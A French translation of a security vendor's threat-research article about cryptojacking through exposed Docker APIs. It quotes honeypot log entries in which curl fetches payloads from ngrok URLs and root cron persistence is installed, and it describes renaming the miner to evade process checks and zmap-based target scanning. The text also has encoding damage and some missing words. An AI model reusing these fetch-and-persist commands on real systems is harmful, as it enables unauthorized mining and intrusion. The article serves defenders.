
Nous avons analysĂ© les donnĂ©es collectĂ©es Ă l'aide de conteneurs honeypot, que nous avons créés pour suivre les menaces. Et nous avons dĂ©tectĂ© une activitĂ© importante de la part de mineurs de crypto-monnaie indĂ©sirables ou non autorisĂ©s dĂ©ployĂ©s en tant que conteneurs malveillants Ă l'aide d'une image publiĂ©e par la communautĂ© sur Docker Hub. Lâimage est utilisĂ©e dans le cadre dâun service fournissant des mineurs de crypto-monnaie malveillants.
De plus, des programmes permettant de travailler avec des réseaux sont installés pour pénétrer dans les conteneurs et applications voisins ouverts.
Nous laissons nos honeypots tels quels, c'est-à -dire avec les paramÚtres par défaut, sans aucune mesure de sécurité ni installation ultérieure de logiciels supplémentaires. Veuillez noter que Docker propose des recommandations pour la configuration initiale afin d'éviter les erreurs et les vulnérabilités simples. Mais les pots de miel utilisés sont des conteneurs, conçus pour détecter les attaques visant la plateforme de conteneurisation, et non les applications contenues dans les conteneurs.
LâactivitĂ© malveillante dĂ©tectĂ©e est Ă©galement remarquable car elle ne nĂ©cessite pas de vulnĂ©rabilitĂ©s et est Ă©galement indĂ©pendante de la version de Docker. Trouver une image de conteneur mal configurĂ©e, et donc ouverte, est tout ce dont les attaquants ont besoin pour infecter de nombreux serveurs ouverts.
L'API Docker non fermĂ©e permet Ă l'utilisateur d'effectuer un large Ă©ventail de tĂąches. , notamment l'obtention d'une liste des conteneurs en cours d'exĂ©cution, l'obtention des journaux d'un conteneur spĂ©cifique, le dĂ©marrage, l'arrĂȘt (y compris forcĂ©) et mĂȘme la crĂ©ation d'un nouveau conteneur Ă partir d'une image spĂ©cifique avec des paramĂštres spĂ©cifiĂ©s.

Sur la gauche se trouve la mĂ©thode de diffusion des logiciels malveillants. Ă droite se trouve lâenvironnement de lâattaquant, qui permet le dĂ©ploiement dâimages Ă distance.

Répartition par pays de 3762 API Docker ouvertes. Basé sur la recherche Shodan du 12.02.2019/XNUMX/XNUMX
Options de chaĂźne dâattaque et de charge utile
Les activitĂ©s malveillantes nâont pas Ă©tĂ© dĂ©tectĂ©es uniquement Ă lâaide de pots de miel. Les donnĂ©es de Shodan montrent que le nombre d'API Docker exposĂ©es (voir deuxiĂšme graphique) a augmentĂ© depuis que nous avons enquĂȘtĂ© sur un conteneur mal configurĂ© utilisĂ© comme pont pour dĂ©ployer le logiciel d'extraction de crypto-monnaie Monero. En octobre de l'annĂ©e derniĂšre (2018, donnĂ©es actuelles environ. traducteur), il n'y avait que 856 API ouvertes.
Un examen des journaux du pot de miel a montré que l'utilisation des images de conteneurs était également associée à l'utilisation de , un outil permettant d'établir des connexions sécurisées ou de transférer le trafic depuis des points accessibles au public vers des adresses ou des ressources spécifiées (par exemple localhost). Cela permet aux attaquants de créer dynamiquement des URL lors de la transmission d'une charge utile à un serveur ouvert. Vous trouverez ci-dessous des exemples de code issus des journaux montrant un abus du service ngrok :
Tty: false
Command: â-c curl âretry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d âhxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283â;echo â* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283dâ >/tmp9bedce/etc/crontab;echo â* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283dâ >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c âcron || crondââ,
Entrypoint: â/bin/shâ
Tty: false,
Command: â-c curl âretry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d âhxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283â;echo â* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283dâ >/tmp570547/etc/crontab;echo â* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283dâ >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c âcron || crondââ,
Entrypoint: â/bin/shâ
Tty: false,
Command: â-c curl âretry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed âhxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4eeâ;echo â* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eedâ >/tmp326c80/etc/crontab;echo â* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eedâ >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c âcron || crondââ,
Entrypoint: â/bin/shâ,
Tty: false,
Cmd: â-c curl âretry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed âhxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4eeâ;echo â* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eedâ >/tmp8b9b5b/etc/crontab;echo â* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eedâ >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c âcron || crondââ,
Entrypoint: â/bin/shâComme vous pouvez le constater, les fichiers tĂ©lĂ©chargĂ©s sont tĂ©lĂ©chargĂ©s Ă partir d'URL en constante Ă©volution. Ces URL ont une date d'expiration courte, les charges utiles ne peuvent donc pas ĂȘtre tĂ©lĂ©chargĂ©es aprĂšs la date d'expiration.
Il existe deux options de charge utile. Le premier est un mineur ELF compilé pour Linux (défini comme Coinminer.SH.MALXMR.ATNO) qui se connecte au pool de minage. Le second est un script (TrojanSpy.SH.ZNETMAP.A) conçu pour obtenir certains outils réseau utilisés pour analyser les plages réseau puis rechercher de nouvelles cibles.
Le script dropper dĂ©finit deux variables, qui sont ensuite utilisĂ©es pour dĂ©ployer le mineur de crypto-monnaie. La variable HOST contient l'URL oĂč se trouvent les fichiers malveillants, et la variable RIP est le nom de fichier (en fait, le hachage) du mineur Ă dĂ©ployer. La variable HOST change Ă chaque fois que la variable de hachage change. Le script tente Ă©galement de vĂ©rifier quâaucun autre mineur de cryptomonnaie nâest exĂ©cutĂ© sur le serveur attaquĂ©.

Exemples de variables HOST et RIP, ainsi qu'un extrait de code utilisé pour vérifier qu'aucun autre mineur n'est en cours d'exécution
Avant de dĂ©marrer le mineur, il est renommĂ© nginx. D'autres versions de ce script renomment le mineur en d'autres services lĂ©gitimes pouvant ĂȘtre prĂ©sents dans les environnements Linux. Cela suffit gĂ©nĂ©ralement pour contourner les vĂ©rifications de la liste des processus en cours d'exĂ©cution.
Le script de recherche possĂšde Ă©galement des fonctionnalitĂ©s. Il fonctionne avec le mĂȘme service URL pour dĂ©ployer les outils nĂ©cessaires. Parmi eux se trouve le binaire zmap, qui est utilisĂ© pour analyser les rĂ©seaux et obtenir une liste des ports ouverts. Le script charge Ă©galement un autre binaire utilisĂ© pour interagir avec les services trouvĂ©s et recevoir des banniĂšres de leur part pour dĂ©terminer des informations supplĂ©mentaires sur le service trouvĂ© (par exemple, sa version).
Le script prédéfinit également certaines plages réseau à analyser, mais cela dépend de la version du script. Il définit également les ports cibles des services (dans ce cas, Docker) avant d'exécuter l'analyse.
DĂšs que des cibles possibles sont trouvĂ©es, les banniĂšres y sont automatiquement supprimĂ©es. Le script filtre Ă©galement les cibles en fonction des services, applications, composants ou plateformes d'intĂ©rĂȘt : Redis, Jenkins, Drupal, MODX, , client Docker 1.16 et Apache CouchDB. Si le serveur analysĂ© correspond Ă l'un d'entre eux, il est enregistrĂ© dans un fichier texte, que les attaquants peuvent ensuite utiliser pour une analyse et un piratage ultĂ©rieurs. Ces fichiers texte sont tĂ©lĂ©chargĂ©s sur les serveurs des attaquants via des liens dynamiques. Autrement dit, une URL distincte est utilisĂ©e pour chaque fichier, ce qui signifie que l'accĂšs ultĂ©rieur est difficile.
Le vecteur d'attaque est une image Docker, comme on peut le voir dans les deux morceaux de code suivants.

En haut se trouve le changement de nom en service légitime, et en bas se trouve la maniÚre dont zmap est utilisé pour analyser les réseaux.

En haut se trouvent des plages de réseau prédéfinies, en bas se trouvent des ports spécifiques pour la recherche de services, dont Docker

La capture d'écran montre que l'image du curl alpin a été téléchargée plus de 10 millions de fois.
BasĂ© sur Alpine Linux et curl, un outil CLI Ă©conome en ressources pour transfĂ©rer des fichiers via diffĂ©rents protocoles, vous pouvez crĂ©er . Comme vous pouvez le voir sur l'image prĂ©cĂ©dente, cette image a dĂ©jĂ Ă©tĂ© tĂ©lĂ©chargĂ©e plus de 10 millions de fois. Un grand nombre de tĂ©lĂ©chargements peut nĂ©cessiter l'utilisation de cette image comme point d'entrĂ©e ; cette image a Ă©tĂ© mise Ă jour il y a plus de six mois ; les utilisateurs n'ont pas tĂ©lĂ©chargĂ© d'autres images de ce rĂ©fĂ©rentiel aussi souvent. Dans Docker - un ensemble d'instructions utilisĂ© pour configurer un conteneur pour l'exĂ©cuter. Si les paramĂštres du point d'entrĂ©e sont incorrects (par exemple, le conteneur reste ouvert depuis Internet), l'image peut ĂȘtre utilisĂ©e comme vecteur d'attaque. Les attaquants peuvent lâutiliser pour livrer une charge utile sâils trouvent un conteneur mal configurĂ© ou ouvert non pris en charge.
Il est important de noter que cette image (alpine-curl) en elle-mĂȘme n'est pas malveillante, mais comme vous pouvez le voir ci-dessus, elle peut ĂȘtre utilisĂ©e pour exĂ©cuter des fonctions malveillantes. Des images Docker similaires peuvent Ă©galement ĂȘtre utilisĂ©es pour effectuer des activitĂ©s malveillantes. Nous avons contactĂ© Docker et travaillĂ© avec eux sur ce problĂšme.
Recommandations
reste pour de nombreuses entreprises, notamment celles mettant en Ćuvre , axĂ© sur un dĂ©veloppement et une livraison rapides. Tout est aggravĂ© par la nĂ©cessitĂ© de respecter les rĂšgles d'audit et de contrĂŽle, la nĂ©cessitĂ© de contrĂŽler la confidentialitĂ© des donnĂ©es, ainsi que les Ă©normes dommages rĂ©sultant de leur non-respect. L'intĂ©gration de l'automatisation de la sĂ©curitĂ© dans le cycle de vie du dĂ©veloppement vous aide non seulement Ă dĂ©tecter les failles de sĂ©curitĂ© qui autrement pourraient passer inaperçues, mais Ă©galement Ă rĂ©duire la charge de travail inutile, comme l'exĂ©cution de versions logicielles supplĂ©mentaires pour chaque vulnĂ©rabilitĂ© dĂ©couverte ou mauvaise configuration aprĂšs le dĂ©ploiement d'une application.
Lâincident Ă©voquĂ© dans cet article souligne la nĂ©cessitĂ© de prendre en compte la sĂ©curitĂ© dĂšs le dĂ©part, avec notamment les recommandations suivantes :
- Pour les administrateurs systÚme et les développeurs : vérifiez toujours les paramÚtres de votre API pour vous assurer que tout est configuré pour accepter uniquement les demandes d'un serveur ou d'un réseau interne spécifique.
- Suivez le principe des moindres droits : assurez-vous que les images des conteneurs sont signées et vérifiées, limitez l'accÚs aux composants critiques (service de lancement de conteneurs) et ajoutez le cryptage aux connexions réseau.
- Suivre et activer les mécanismes de sécurité, par ex. et intégré .
- Utilisez l'analyse automatisée des environnements d'exécution et des images pour obtenir des informations supplémentaires sur les processus exécutés dans le conteneur (par exemple, pour détecter l'usurpation d'identité ou rechercher des vulnérabilités). Le contrÎle des applications et la surveillance de l'intégrité aident à suivre les modifications anormales apportées aux serveurs, aux fichiers et aux zones du systÚme.
Trendmicro aide les Ă©quipes DevOps Ă crĂ©er en toute sĂ©curitĂ©, Ă dĂ©ployer rapidement et Ă lancer n'importe oĂč. Tendance Micro Fournit une sĂ©curitĂ© puissante, rationalisĂ©e et automatisĂ©e dans l'ensemble du pipeline DevOps d'une organisation et fournit de multiples dĂ©fenses contre les menaces. pour protĂ©ger les charges de travail physiques, virtuelles et cloud lors de l'exĂ©cution. Il ajoute Ă©galement la sĂ©curitĂ© des conteneurs avec Đž , qui analyse les images des conteneurs Docker Ă la recherche de logiciels malveillants et de vulnĂ©rabilitĂ©s Ă tout moment du pipeline de dĂ©veloppement afin de prĂ©venir les menaces avant leur dĂ©ploiement.
Signes de compromis
Hachages associés :
- 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
- f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)
Sur Les orateurs en exercice montrent quels rĂ©glages doivent ĂȘtre effectuĂ©s en premier afin de minimiser la probabilitĂ© ou d'Ă©viter complĂštement l'apparition de la situation dĂ©crite ci-dessus. Et du 19 au 21 aoĂ»t lors d'un cours intensif en ligne Vous pouvez discuter de ces problĂšmes de sĂ©curitĂ© et dâautres problĂšmes similaires avec des collĂšgues et des enseignants en exercice lors dâune table ronde, oĂč chacun peut sâexprimer et Ă©couter les souffrances et les rĂ©ussites de collĂšgues expĂ©rimentĂ©s.
Source: habr.com
